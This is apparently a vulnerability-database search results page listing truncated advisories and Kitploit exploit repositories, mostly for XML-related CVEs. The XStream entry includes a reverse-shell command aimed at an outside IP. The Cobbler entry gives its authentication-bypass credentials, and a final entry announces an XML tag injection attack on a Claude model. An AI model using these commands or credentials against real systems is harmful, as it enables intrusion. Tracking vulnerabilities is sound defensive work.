Lucene search
+L

55514 matches found

NVD
NVD
added 2026/09/14 4:16 a.m.8 views

CVE-2023-22631

PRTG Network Monitor before 23.1.82 allows remote attackers to write to files via the HTTP XML/REST Sensor...

2.7CVSS0.00225EPSS
SaveExploits0References2
RedHat Linux
RedHat Linux
added 2026/09/14 4:11 a.m.10 views

encoding/xml: golang: Go: Denial of Service via XML decoding recursion depth issue

A flaw was found in the encoding/xml package of Go. The DecodeElement function failed to correctly track recursion depth, which could lead to stack exhaustion. A remote attacker could exploit this vulnerability by providing a specially crafted XML input, resulting in a Denial of Service DoS for t...

7.5CVSS5.9AI score0.00568EPSS
SaveExploits0References8
RedHat Linux
RedHat Linux
added 2026/09/14 4:08 a.m.7 views

encoding/xml: golang: Go: Denial of Service via XML decoding recursion depth issue

A flaw was found in the encoding/xml package of Go. The DecodeElement function failed to correctly track recursion depth, which could lead to stack exhaustion. A remote attacker could exploit this vulnerability by providing a specially crafted XML input, resulting in a Denial of Service DoS for t...

7.5CVSS5.9AI score0.00568EPSS
SaveExploits0References8
Kitploit
Kitploit
added 2026/09/14 12:18 a.m.10 views

AgentCyTE

CORE TopoGen Generate reproducible CORE network topologies from scenario XML files using a rich Web GUI or a command-line interface. Table of contents Highlights Screenshots Quick start Prerequisites Install dependencies Launch the Web UI Run the CLI Full Preview workflow Feature deep dive Planni...

5.9AI score
SaveExploits0References1
Kitploit
Kitploit
added 2026/09/14 12:12 a.m.14 views

CVE-2026-34197

CVE-2026-34197 描述 Apache ActiveMQ Broker、Apache ActiveMQ 中存在不当输入验证、代码生成控制不当('代码注入')漏洞。Apache ActiveMQ Classic 在 Web 控制台的 /api/jolokia/ 路径下暴露了 Jolokia JMX-HTTP 桥接。默认的 Jolokia 访问策略允许对所有 ActiveMQ MBean(org.apache.activemq:)执行 exec 操作,包括 BrokerService.addNetworkConnectorString 和...

8.8CVSS7.9AI score0.98256EPSS
SaveExploits15References1
Cvelist
Cvelist
added 2026/09/14 12:00 a.m.34 views

CVE-2023-22631

PRTG Network Monitor before 23.1.82 allows remote attackers to write to files via the HTTP XML/REST Sensor...

2.7CVSS0.00225EPSS
SaveExploits0References2
EUVD
EUVD
added 2026/09/14 12:00 a.m.10 views

EUVD-2023-60632

PRTG Network Monitor before 23.1.82 allows remote attackers to write to files via the HTTP XML/REST Sensor...

2.7CVSS5.8AI score0.00225EPSS
SaveExploits0References2
CVE
CVE
added 2026/09/14 12:00 a.m.20 views

CVE-2023-22631

CVE-2023-22631 affects PRTG Network Monitor versions before 23.1.82 , allowing a remote attacker with high privileges to write to files via the HTTP XML/REST Sensor , resulting in a low integrity impact (CVSS 3.1: 2.7 LOW , AV:N/AC:L/PR:H). The Dutch NCSC advisory notes that an authenticated mali...

2.7CVSS5.8AI score0.00225EPSS
SaveExploits0References2
Amazon
Amazon
added 2026/09/14 12:00 a.m.6 views

Important: expat

Issue Overview: libexpat before 2.8.2 lacks handler call depth tracking for calls to XMLGetBuffer, XMLParse, XMLParseBuffer, XMLParserFree, or XMLParserReset from within handlers in cases of a policy violation. Thus, a use-after-free can occur, CVE-2026-50219 libexpat before 2.8.2 lacks handler...

8.7CVSS7.5AI score0.00586EPSS
SaveExploits2
Kitploit
Kitploit
added 2026/09/13 9:03 p.m.9 views

CVE-2020-26217-XStream

CVE-2020-26217 XStream RCE Exploit XStream 远程代码执行漏洞利用工具。 漏洞描述 CVE-2020-26217 是 XStream 库中的一个反序列化漏洞,攻击者可以通过构造恶意的 XML 数据触发远程代码执行。 影响版本:XStream 示例 root@kitploit: 运行工具 go run poc.go http://target.com:8080/?data 进入交互模式后输入命令 cmd whoami cmd cat /flag cmd bash -i & /dev/tcp/192.168.1.100/4444 0&1 cmd exi...

9.3CVSS7.7AI score0.85001EPSS
SaveExploits7
Kitploit
Kitploit
added 2026/09/13 7:11 p.m.7 views

struts-s2-052-deserialization-rce-lab

Apache Struts S2-052 RCE por Deserialización de XML Este repositorio demuestra la explotación de Apache Struts S2-052 CVE-2017-9805 mediante deserialización maliciosa de XML. El exploit fue desarrollado mientras se resolvía el laboratorio INE eWPTX Practice Range – Struts XML Deserialization RCE...

8.1CVSS7.8AI score0.99396EPSS
SaveExploits24
Kitploit
Kitploit
added 2026/09/13 7:04 p.m.8 views

CVE-2022-2414-POC

CVE-2022-2414-POC El acceso a entidades externas al analizar documentos XML puede provocar ataques de entidad externa XML XXE. Esta falla permite que un atacante remoto pueda potencialmente recuperar el contenido de archivos arbitrarios enviando solicitudes HTTP especialmente diseñadas. Lo...

7.5CVSS7.8AI score0.85608EPSS
SaveExploits3
Kitploit
Kitploit
added 2026/09/13 6:18 p.m.11 views

CVE-2025-66034

CVE-2025-66034 — fontTools varLib 任意文件写入 → 远程代码执行 针对fontTools.varLib 中任意文件写入 + XML 注入漏洞的 PoC 利用 已测试于 HackTheBox — VarIaType 漏洞 fontTools.varLib 处理 .designspace XML 文件以构建可变字体。两个弱点组合实现了未授权远程代码执行: | 原语| 详情 ---|---|--- 1| 通过 CDATA 分割实现的 XML 注入| 攻击者控制的 内部内容被逐字写入输出字体文件主体,允许注入任意数据 2| 通过os.path.join...

9.8CVSS7.5AI score0.00547EPSS
SaveExploits9References1
Kitploit
Kitploit
added 2026/09/13 4:41 p.m.5 views

x-stream__xstream_CVE-2013-7285_1-4-6

XStream root@kitploit: "Serialización Java a XML, y viceversa" -- Binarios ----------------------------------------------- Todos los artefactos binarios están en el directorio 'lib'. Estos incluyen los jars de xstream y cualquier otra biblioteca utilizada en tiempo de compilación, o extras...

9.8CVSS7.8AI score0.84362EPSS
SaveExploits5
Kitploit
Kitploit
added 2026/09/13 4:36 p.m.10 views

CVE-2021-29447

CVE-2021-29447 PoC Este repositorio contiene un exploit de Prueba de Concepto PoC para la vulnerabilidad CVE-2021-29447 que afecta a WordPress 5.6 y 5.7 usando PHP 8. El exploit demuestra cómo un atacante, con la capacidad de subir archivos, puede explotar una vulnerabilidad de análisis XML en la...

7.1CVSS7AI score0.85719EPSS
SaveExploits21
Kitploit
Kitploit
added 2026/09/13 4:01 p.m.7 views

CVE-2024-34102

Cosmic Sting: Explotador de CVE-2024-34102 Cosmic Sting es una herramienta basada en Go diseñada para explotar CVE-2024-34102, una vulnerabilidad de ejecución remota de código. Detalle de CVE-2024-34102 Las versiones de Adobe Commerce 2.4.7, 2.4.6-p5, 2.4.5-p7, 2.4.4-p8 y anteriores se ven...

9.8CVSS9.1AI score0.99994EPSS
SaveExploits26
Kitploit
Kitploit
added 2026/09/13 3:38 p.m.8 views

S2-052

CVE-2017-9805 (S2-052)反弹Shell Exploit 影响版本 root@kitploit: Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12 Poc root@kitploit: Content-Type: application/xml 0 false 0 calc false java.lang.ProcessBuilder start foo foo false 0 0 false false 0 jdk.nashorn.int...

8.1CVSS7.6AI score0.99396EPSS
SaveExploits24References1
Kitploit
Kitploit
added 2026/09/13 3:28 p.m.8 views

Evtx_Log_Browser

Explorador de registros Evtx xml Explora los registros de eventos evtx de Windows y exporta a xml La última versión estáaquí Dependencias: .NET Framework 4.8 Versión de Powershell: 5.1...

5.8AI score
SaveExploits0References1
Kitploit
Kitploit
added 2026/09/13 2:55 p.m.12 views

CVE-2024-47533

CVE-2024-47533 – Cobbler XML-RPC 身份验证绕过漏洞利用 📜 描述 CVE-2024-47533 是 Cobbler 中的一个 严重身份验证绕过漏洞 ,Cobbler 是一款用于自动化网络操作系统安装的 Linux 安装服务器。 该缺陷由 utils.getsharedsecret 中的问题导致,该函数 始终返回-1,从而允许 未经过身份验证 的访问进入 Cobbler XML-RPC API。 攻击者可以使用以下凭据连接: 用户名: ""(空字符串) 密码: -1 这将授予 管理员级访问权限 ,允许执行添加发行版、管理配置文件或通过 Cobbler...

9.8CVSS8.2AI score0.04003EPSS
SaveExploits6References1
Kitploit
Kitploit
added 2026/09/13 2:39 p.m.9 views

claude-XML-injection

Claude Sonnet 4.6 — Credential Fabrication via XML Tag Injection Reported: June 14, 2026 | Patched: June 20, 2026 | Anthropic Response: None 56 days Researcher: X1NON Affected Model: Claude Sonnet 4.6 and other non-Haiku Claude models Severity: High CVSS 8.7 Status: Patched — No bounty awarded, n...

5.9AI score
SaveExploits0
Rows per page
Query Builder